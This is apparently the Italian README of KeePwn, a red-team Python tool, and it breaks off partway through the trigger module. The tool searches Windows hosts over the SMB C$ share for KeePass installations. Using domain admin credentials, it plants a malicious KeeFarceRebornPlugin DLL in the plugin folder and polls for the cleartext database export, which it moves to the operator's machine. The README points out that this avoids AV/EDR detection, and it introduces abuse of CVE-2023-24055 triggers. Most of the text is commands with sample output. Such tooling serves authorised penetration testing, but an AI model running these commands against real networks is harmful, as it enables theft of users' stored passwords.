
Uno strumento Python per automatizzare la scoperta di KeePass e l'estrazione di segreti.

Uno script Python per aiutare i red team a scoprire le istanze di KeePass ed estrarre i segreti.
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m pip install .
KeePwn --help
Oppure, se non vuoi installare ma solo eseguire in un virtualenv:
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 KeePwn.py --help
Il modulo search di KeePwn viene utilizzato per identificare gli host che eseguono KeePass nel tuo ambiente target:
$ python3 KeePwn.py search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt
[*] Starting remote KeePass search with 5 threads
[PC01.COMPANY.LOCAL] No KeePass-related file found
[PC02.COMPANY.LOCAL] No KeePass-related file found
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC04.COMPANY.LOCAL] No KeePass-related file found
[PC05.COMPANY.LOCAL] No KeePass-related file found
Utilizza la condivisione C$ integrata di Active Directory per cercare file relativi a KeePass nelle posizioni predefinite, richiedendo quindi privilegi di amministratore sui target.
Il modulo cercherà prima il file di configurazione KeePass.config.xml nella cartella %APPDATA%\KeePass di ciascun utente, così come KeePass.exe nel suo percorso di installazione predefinito (C:\Program Files\KeePass Password Safe 2). Se viene trovato un file di configurazione ma KeePass non è installato a livello globale, KeePwn cercherà installazioni portatili fino a --max-depth sottocartelle.
Questa tecnica di ricerca di base dovrebbe essere sufficiente per determinare con precisione se KeePass viene utilizzato su una workstation o meno. Inoltre, l'opzione --get-process utilizza l'implementazione RPC di Impacket per determinare se KeePass è attualmente in esecuzione sul target.
Sono incluse anche varie opzioni di comodità che consentono di esportare i risultati della ricerca in un file CSV, visualizzare solo i target in cui è stato trovato KeePass e regolare il numero di thread paralleli:
$ KeePwn search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt --threads 4 --get-process --found-only --output keepwn_out.csv
[*] Starting remote KeePass search with 4 threads
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC03.COMPANY.LOCAL] Found running KeePass.exe process (User: COMPANY\jdoe, PID: 3820)
[+] Search results logged to keepwn_out.csv
KeePass fornisce un framework per plugin che può essere abusato per caricare DLL dannose nel processo di KeePass, consentendo agli attaccanti con diritti di amministratore di esportare facilmente il database (vedi: KeeFarceRebornPlugin).
Il modulo plugin di KeePwn consente di:
Elencare i plugin attualmente installati e fare un'enumerazione della cache dei plugin
$ KeePwn plugin check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] No path specified, searching in default locations..
[*] Found dbBackup.plgx in folder '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
[*] Found pDhkzWQYiobXhtBEEnbo in folder '\\C$\Users\jdoe\AppData\Local\KeePass\PluginCache'
Aggiungere e rimuovere i tuoi plugin dannosi
$ KeePwn plugin add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL --plugin KeeFarceRebornPlugin.dll
[*] No path specified, searching in default locations..
[*] Found KeePass Plugins directory '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
[!] About to add KeeFarceRebornPlugin.dll to KeePass Plugins directory, do you want to continue? [y/n]
> y
[+] Plugin successfully added to KeePass, wait for next restart, poll and enjoy!
Effettuare il polling di %APPDATA% per esportazioni e spostarle automaticamente dall'host remoto al filesystem locale
$ KeePwn plugin poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE
[+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
[+] Moved remote export to ./export.xml
Queste azioni vengono eseguite tramite l'accesso alla condivisione SMB C$, limitando il rilevamento da parte di AV/EDR poiché non viene eseguito alcun comando.
Come descritto nel post del blog di @harmj0y (e successivamente CVE-2023-24055), il sistema di trigger di KeePass può essere abusato per esportare il database in chiaro.
Il modulo trigger di KeePwn consente di:
Verificare se un trigger dannoso chiamato "export" è attualmente presente nella configurazione di KeePass
$ KeePwn trigger check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL